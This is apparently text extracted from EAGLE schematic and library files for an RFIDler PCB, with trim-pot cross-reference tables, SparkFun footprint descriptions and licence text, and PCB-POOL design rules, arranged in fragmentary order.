8038EKW<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
3321H<BR>
3321P<BR>
3321N<BR>
1102H<BR>
1102P<BR>
1102T<BR>
RVA0911V304A<BR>
-<BR>
RVA0911H413A<BR>
RVG0707V100A<BR>
RVA0607V(H)306A<BR>
RVA1214H213A<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
3104B<BR>
3104C<BR>
3104F<BR>
3104H<BR>
-<BR>
3104M<BR>
3104P<BR>
3104S<BR>
3104W<BR>
3104X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
EVMQ0G<BR>
EVMQIG<BR>
EVMQ3G<BR>
EVMS0G<BR>
EVMQ0G<BR>
EVMG0G<BR>
-<BR>
-<BR>
-<BR>
EVMK4GA00B<BR>
EVM30GA00B<BR>
EVMK0GA00B<BR>
EVM38GA00B<BR>
EVMB6<BR>
EVLQ0<BR>
-<BR>
EVMMSG<BR>
EVMMBG<BR>
EVMMAG<BR>
-<BR>
-<BR>
EVMMCS<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
EVMM1<BR>
-<BR>
-<BR>
EVMM0<BR>
-<BR>
-<BR>
EVMM3<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
62-3-1<BR>
62-1-2<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
67R<BR>
-<BR>
67P<BR>
-<BR>
-<BR>
-<BR>
-<BR>
67X<BR>
63V<BR>
63S<BR>
63M<BR>
-<BR>
-<BR>
63H<BR>
63P<BR>
-<BR>
-<BR>
63X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
RJ/RJR50<BR>
RJ/RJR50<BR>
RJ/RJR50<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
</TABLE>
<P> <P>
<TABLE BORDER=0 CELLSPACING=1 CELLPADDING=3>
<TR>
<TD COLSPAN=7>
<FONT color="#0000FF" SIZE=4 FACE=ARIAL><B>SMD TRIM-POT CROSS REFERENCE</B></FONT>
<P>
<FONT SIZE=4 FACE=ARIAL><B>MULTI-TURN</B></FONT>
</TD>
</TR>
<TR>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BOURNS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>TOCOS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>AUX/KYOCERA</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3224G<BR>
3224J<BR>
3224W<BR>
3269P<BR>
3269W<BR>
3269X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
44G<BR>
44J<BR>
44W<BR>
84P<BR>
84W<BR>
84X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
ST63Z<BR>
ST63Y<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
ST5P<BR>
ST5W<BR>
ST5X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
<TR>
<TD COLSPAN=7>
</TD>
</TR>
<TR>
<TD COLSPAN=7>
<FONT SIZE=4 FACE=ARIAL><B>SINGLE TURN</B></FONT>
</TD>
</TR>
<TR>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BOURNS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>TOCOS</B></FONT>
</TD>
<TD>
<FONT SIZE=3 FACE=ARIAL><B>AUX/KYOCERA</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3314G<BR>
3314J<BR>
3364A/B<BR>
3364C/D<BR>
3364W/X<BR>
3313G<BR>
3313J<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
23B<BR>
23A<BR>
21X<BR>
21W<BR>
-<BR>
22B<BR>
22A<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
ST5YL/ST53YL<BR>
ST5YJ/5T53YJ<BR>
ST-23A<BR>
ST-22B<BR>
ST-22<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
ST-4B<BR>
ST-4A<BR>
-<BR>
-<BR>
-<BR>
ST-3B<BR>
ST-3A<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
EVM-6YS<BR>
EVM-1E<BR>
EVM-1G<BR>
EVM-1D<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
G4B<BR>
G4A<BR>
TR04-3S1<BR>
TRG04-2S1<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
DVR-43A<BR>
CVR-42C<BR>
CVR-42A/C<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
</TABLE>
<P>
<FONT SIZE=4 FACE=ARIAL><B>ALT = ALTERNATE</B></FONT>
<P>
<P>
</td>
</tr>
</table>
</BODY></HTML><b>Trimm resistor</b> VISHAY<p>
Cermet, abgedichtet nach IP67>NAME>VALUE<b>RESISTOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE<b>Pin Header Connectors</b><p>
<author>Created by librarian@cadsoft.de</author><b>PIN HEADER</b>>NAME>VALUE<b>PIN HEADER</b>>NAME>VALUE<b>PIN HEADER</b>>NAME>VALUE<b>Test Pins/Pads</b><p>
Cream on SMD OFF.<br>
new: Attribute TP_SIGNAL_NAME<br>
<author>Created by librarian@cadsoft.de</author><b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME>NAME>VALUE>Name>Value>NAME>VALUE<b>Crystals and Crystal Resonators</b><p>
<author>Created by librarian@cadsoft.de</author><b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<h3>SparkFun Electronics' preferred foot prints</h3>
We've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>Value<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find connectors and sockets- basically anything that can be plugged into or onto.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.This footprint was designed to help hold the alignment of a through-hole component (i.e. 6-pin header) while soldering it into place.
You may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).
This slight alteration caused the pins (the squares in the middle) to touch the edges of the holes. Because they are alternating, it causes a "brace"
to hold the component in place. 0.005 has proven to be the perfect amount of "off-center" position when using our standard breakaway headers.
Although looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice. Also,
if you push a header all the way into place, it is covered up entirely on the bottom side. This idea of altering the position of holes to aid alignment
will be further integrated into the Sparkfun Library for other footprints. It can help hold any component with 3 or more connection pins.>NAME>VALUEThis footprint was designed to help hold the alignment of a through-hole component (i.e. 6-pin header) while soldering it into place.
You may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).
This slight alteration caused the pins (the squares in the middle) to touch the edges of the holes. Because they are alternating, it causes a "brace"
to hold the component in place. 0.005 has proven to be the perfect amount of "off-center" position when using our standard breakaway headers.
Although looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice. Also,
if you push a header all the way into place, it is covered up entirely on the bottom side. This idea of altering the position of holes to aid alignment
will be further integrated into the Sparkfun Library for other footprints. It can help hold any component with 3 or more connection pins.>NAME>VALUE<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.Solder jumper, small, shorted with trace. No paste layer. Trace is cuttable.>NAME>VALUE<h3>SparkFun Electronics' preferred foot prints</h3>
We've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>VALUE<b>EAGLE Design Rules Prototypen für PCB-POOL(R)</b>
<p>
Wir haben in diesem DRU File alle notwendigen Design Einstellungen vorgenommen, damit Sie Ihre Leiterplatte
gemäß unseren Mindestanforderungen bestellen können. Die Optionen Shapes und Misc sind dabei nicht relevant.
Der minimale und maximale Wert für Roundness Shapes kann frei gewählt werden.
Bitte beachten Sie, daß die Mindesteinstellungen nicht geändert werden, da ansonsten keine Gewährleistung für eine
fehlerfreie Produktion übernommen werden kann.<br>
Abzudeckende Vias können in Masks (unter Limit) eingestellt werden.
</p>Ihr Beta LAYOUT Team
<p><p>
<b>EAGLE Design Rules Prototypes to use with PCB-POOL(R)</b>
<p>
The design rules in this DRU file have been set to cover our minimum requirements, the options Shapes and Misc are not
relevant. Values for Roundness (Shapes) can be chosen freely. Please do not change these minimum
requirements to avoid problems during production.<br>
Covered vias can be set in Masks (Limit).
</p>Your Beta LAYOUT Teamcleveland rfidler v1
Since Version 6.2.2 text objects can contain more than one line,
which will not be processed correctly with this version.
================================================
FILE: Hardware/Pic32/RFIDLER V22 beta.sch
================================================
AMR's Library<b>SC-70 Package</b>>NAME>VALUE***>NAME>VALUE>NAME*>VALUE<b>PIN HEADER</b>>NAME>VALUE**>NAME>VALUE<b>Small Outline Transistor</b>3212>NAME>VALUE123567vccresetclkgndvppi/oSOT 663>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUEUSB<B> Single OR gate</B>DUAL SCHMITT-TRIGGER BUFFERDigital POT<b>PIN HEADER</b>IC, 32BIT MCURegulatorQUADRUPLE BUS BUFFER GATES WITH 3-STATE OUTPUTSdual zener diodeMini SMT USB Connector<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>Name>Value>Name>Value>NAME>VALUE>Name>Value>NAME>VALUE>NAME>VALUE<b>CAPACITOR</b><p>
chip>NAME>VALUE>Name>Value>Name>Value>NAME>VALUE>NAME>VALUECTZ3 Series land pattern for variable capacitor - CTZ3E-50C-W1-PF>NAME>VALUE<h3>CAP-PTH-SMALL-KIT</h3>
Commonly used for small ceramic capacitors. Like our 0.1uF (http://www.sparkfun.com/products/8375) or 22pF caps (http://www.sparkfun.com/products/8571).<br>
<br>
<b>Warning:</b> This is the KIT version of this package. This package has a smaller diameter top stop mask, which doesn't cover the diameter of the pad. This means only the bottom side of the pads' copper will be exposed. You'll only be able to solder to the bottom side.This is the "EZ" version of the .1" spaced ceramic thru-hole cap.<br>
It has reduced top mask to make it harder to put the component on the wrong side of the board.>Name>Value>NAME>VALUE<b>Capacitor</b>
Standard 0603 ceramic capacitor, and 0.1" leaded capacitor.<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find discrete semiconductors- transistors, diodes, TRIACs, optoisolators, etc.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>VALUE<b>SOT-23</b>>NAME>VALUE<b>TO 92</b>>NAME>VALUE<b>SOT-223</b>>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUEGeneric NPN BJT. MMBT2222 is the common NPN we use. Double check against datasheet- not all devices are the same!<h3>SparkFun Electronics' preferred foot prints</h3>
We've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>VALUE>NAME>VALUE2mm SMD side-entry connector. tDocu layer indicates the actual physical plastic housing. +/- indicate SparkFun standard batteries and wiring.>Name>Value+->Name>Value>NAME>VALUE>NAME>VALUEThis footprint was designed to help hold the alignment of a through-hole component (i.e. 6-pin header) while soldering it into place.
You may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).
This slight alteration caused the pins (the squares in the middle) to touch the edges of the holes. Because they are alternating, it causes a "brace"
to hold the component in place. 0.005 has proven to be the perfect amount of "off-center" position when using our standard breakaway headers.
Although looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice. Also,
if you push a header all the way into place, it is covered up entirely on the bottom side. This idea of altering the position of holes to aid alignment
will be further integrated into the Sparkfun Library for other footprints. It can help hold any component with 3 or more connection pins.>NAME>VALUE>NAME>VALUE>NAME>VALUE>Name>Value+->NAME>VALUE>Name>Value+-<B>Diode</B><p>
Basic SMA packaged diode. Good for reverse polarization protection. Common part #: MBRA140>NAME>VALUE>Name>Value>NAME>VALUE>NAME>VALUE>Name>Value<b>Diode</b><p>
Basic small signal diode good up to 200mA. SMB footprint. Common part #: BAS16>NAME>VALUE>NAME>VALUE>VALUE>NAME>NAME>VALUE<b>Header 2</b>
Standard 2-pin 0.1" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115). Molex polarized connector foot print use with SKU : PRT-08233 with associated crimp pins and housings.<b>Diode</b>
These are standard reverse protection diodes and small signal diodes. SMA package can handle up to about 1A. SOD-323 can handle about 200mA. What the SOD-323 package when ordering, there are some mfgs out there that are 5-pin packages.<b>Supply Symbols</b><p>
GND, VCC, 0V, +5V, -5V, etc.<p>
Please keep in mind, that these devices are necessary for the
automatic wiring of the supply signals.<p>
The pin name defined in the symbol is identical to the net which is to be wired automatically.<p>
In this library the device names are the same as the pin names of the symbols, therefore the correct signal names appear next to the supply symbols in the schematic.<p>
<author>Created by librarian@cadsoft.de</author>>VALUE>VALUE>VALUE>VALUE<b>SUPPLY SYMBOL</b><b>SUPPLY SYMBOL</b><b>SUPPLY SYMBOL</b><b>SUPPLY SYMBOL</b><b>Linear Devices</b><p>
Operational amplifiers, comparators, voltage regulators, ADCs, DACs, etc.<p>
<author>Created by librarian@cadsoft.de</author><b>Dual In Line Package</b>>NAME>VALUE<b>Small Outline Package 14</b>>NAME>VALUE>NAME>VALUEV+V-<b>OP AMP</b><b>Resistors, Capacitors, Inductors</b><p>
Based on the previous libraries:
<ul>
<li>r.lbr
<li>cap.lbr
<li>cap-fe.lbr
<li>captant.lbr
<li>polcap.lbr
<li>ipc-smd.lbr
</ul>
All SMD packages are defined according to the IPC specifications and CECC<p>
<author>Created by librarian@cadsoft.de</author><p>
<p>
for Electrolyt Capacitors see also :<p>
www.bccomponents.com <p>
www.panasonic.com<p>
www.kemet.com<p>
<p>
for trimmer refence see : <u>www.electrospec-inc.com/cross_references/trimpotcrossref.asp</u><p>
<map name="nav_main">
<area shape="rect" coords="0,1,140,23" href="../military_specs.asp" title="">
<area shape="rect" coords="0,24,140,51" href="../about.asp" title="">
<area shape="rect" coords="1,52,140,77" href="../rfq.asp" title="">
<area shape="rect" coords="0,78,139,103" href="../products.asp" title="">
<area shape="rect" coords="1,102,138,128" href="../excess_inventory.asp" title="">
<area shape="rect" coords="1,129,138,150" href="../edge.asp" title="">
<area shape="rect" coords="1,151,139,178" href="../industry_links.asp" title="">
<area shape="rect" coords="0,179,139,201" href="../comments.asp" title="">
<area shape="rect" coords="1,203,138,231" href="../directory.asp" title="">
<area shape="default" nohref>
</map>
<html>
<title></title>
<LINK REL="StyleSheet" TYPE="text/css" HREF="style-sheet.css">
<body bgcolor="#ffffff" text="#000000" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
<table border=0 cellspacing=0 cellpadding=0 width="100%" cellpaddding=0 height="55%">
<tr valign="top">
</td>
<! <td width="10"> </td>
<td width="90%">
<b><font color="#0000FF" size="4">TRIM-POT CROSS REFERENCE</font></b>
<P>
<TABLE BORDER=0 CELLSPACING=1 CELLPADDING=2>
<TR>
<TD COLSPAN=8>
<FONT SIZE=3 FACE=ARIAL><B>RECTANGULAR MULTI-TURN</B></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">BOURNS</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">BI TECH</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">DALE-VISHAY</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">PHILIPS/MEPCO</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">MURATA</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">PANASONIC</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">SPECTROL</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">MILSPEC</FONT>
</B>
</TD><TD> </TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3 >
3005P<BR>
3006P<BR>
3006W<BR>
3006Y<BR>
3009P<BR>
3009W<BR>
3009Y<BR>
3057J<BR>
3057L<BR>
3057P<BR>
3057Y<BR>
3059J<BR>
3059L<BR>
3059P<BR>
3059Y<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
89P<BR>
89W<BR>
89X<BR>
89PH<BR>
76P<BR>
89XH<BR>
78SLT<BR>
78L ALT<BR>
56P ALT<BR>
78P ALT<BR>
T8S<BR>
78L<BR>
56P<BR>
78P<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
T18/784<BR>
783<BR>
781<BR>
-<BR>
-<BR>
-<BR>
2199<BR>
1697/1897<BR>
1680/1880<BR>
2187<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
8035EKP/CT20/RJ-20P<BR>
-<BR>
RJ-20X<BR>
-<BR>
-<BR>
-<BR>
1211L<BR>
8012EKQ ALT<BR>
8012EKR ALT<BR>
1211P<BR>
8012EKJ<BR>
8012EKL<BR>
8012EKQ<BR>
8012EKR<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
2101P<BR>
2101W<BR>
2101Y<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
2102L<BR>
2102S<BR>
2102Y<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
EVMCOG<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
43P<BR>
43W<BR>
43Y<BR>
-<BR>
-<BR>
-<BR>
-<BR>
40L<BR>
40P<BR>
40Y<BR>
70Y-T602<BR>
70L<BR>
70P<BR>
70Y<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
RT/RTR12<BR>
RT/RTR12<BR>
RT/RTR12<BR>
-<BR>
RJ/RJR12<BR>
RJ/RJR12<BR>
RJ/RJR12<BR></FONT>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
<FONT SIZE=4 FACE=ARIAL><B>SQUARE MULTI-TURN</B></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BOURN</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MURATA</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>SPECTROL</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MILSPEC</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3250L<BR>
3250P<BR>
3250W<BR>
3250X<BR>
3252P<BR>
3252W<BR>
3252X<BR>
3260P<BR>
3260W<BR>
3260X<BR>
3262P<BR>
3262W<BR>
3262X<BR>
3266P<BR>
3266W<BR>
3266X<BR>
3290H<BR>
3290P<BR>
3290W<BR>
3292P<BR>
3292W<BR>
3292X<BR>
3296P<BR>
3296W<BR>
3296X<BR>
3296Y<BR>
3296Z<BR>
3299P<BR>
3299W<BR>
3299X<BR>
3299Y<BR>
3299Z<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
66P ALT<BR>
66W ALT<BR>
66X ALT<BR>
66P ALT<BR>
66W ALT<BR>
66X ALT<BR>
-<BR>
64W ALT<BR>
-<BR>
64P ALT<BR>
64W ALT<BR>
64X ALT<BR>
64P<BR>
64W<BR>
64X<BR>
66X ALT<BR>
66P ALT<BR>
66W ALT<BR>
66P<BR>
66W<BR>
66X<BR>
67P<BR>
67W<BR>
67X<BR>
67Y<BR>
67Z<BR>
68P<BR>
68W<BR>
68X<BR>
67Y ALT<BR>
67Z ALT<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
5050<BR>
5091<BR>
5080<BR>
5087<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
T63YB<BR>
T63XB<BR>
-<BR>
-<BR>
-<BR>
5887<BR>
5891<BR>
5880<BR>
-<BR>
-<BR>
-<BR>
T93Z<BR>
T93YA<BR>
T93XA<BR>
T93YB<BR>
T93XB<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
8026EKP<BR>
8026EKW<BR>
8026EKM<BR>
8026EKP<BR>
8026EKB<BR>
8026EKM<BR>
1309X<BR>
1309P<BR>
1309W<BR>
8024EKP<BR>
8024EKW<BR>
8024EKN<BR>
RJ-9P/CT9P<BR>
RJ-9W<BR>
RJ-9X<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
3103P<BR>
3103Y<BR>
3103Z<BR>
3103P<BR>
3103Y<BR>
3103Z<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
3105P/3106P<BR>
3105W/3106W<BR>
3105X/3106X<BR>
3105Y/3106Y<BR>
3105Z/3105Z<BR>
3102P<BR>
3102W<BR>
3102X<BR>
3102Y<BR>
3102Z<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
EVMCBG<BR>
EVMCCG<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
55-1-X<BR>
55-4-X<BR>
55-3-X<BR>
55-2-X<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
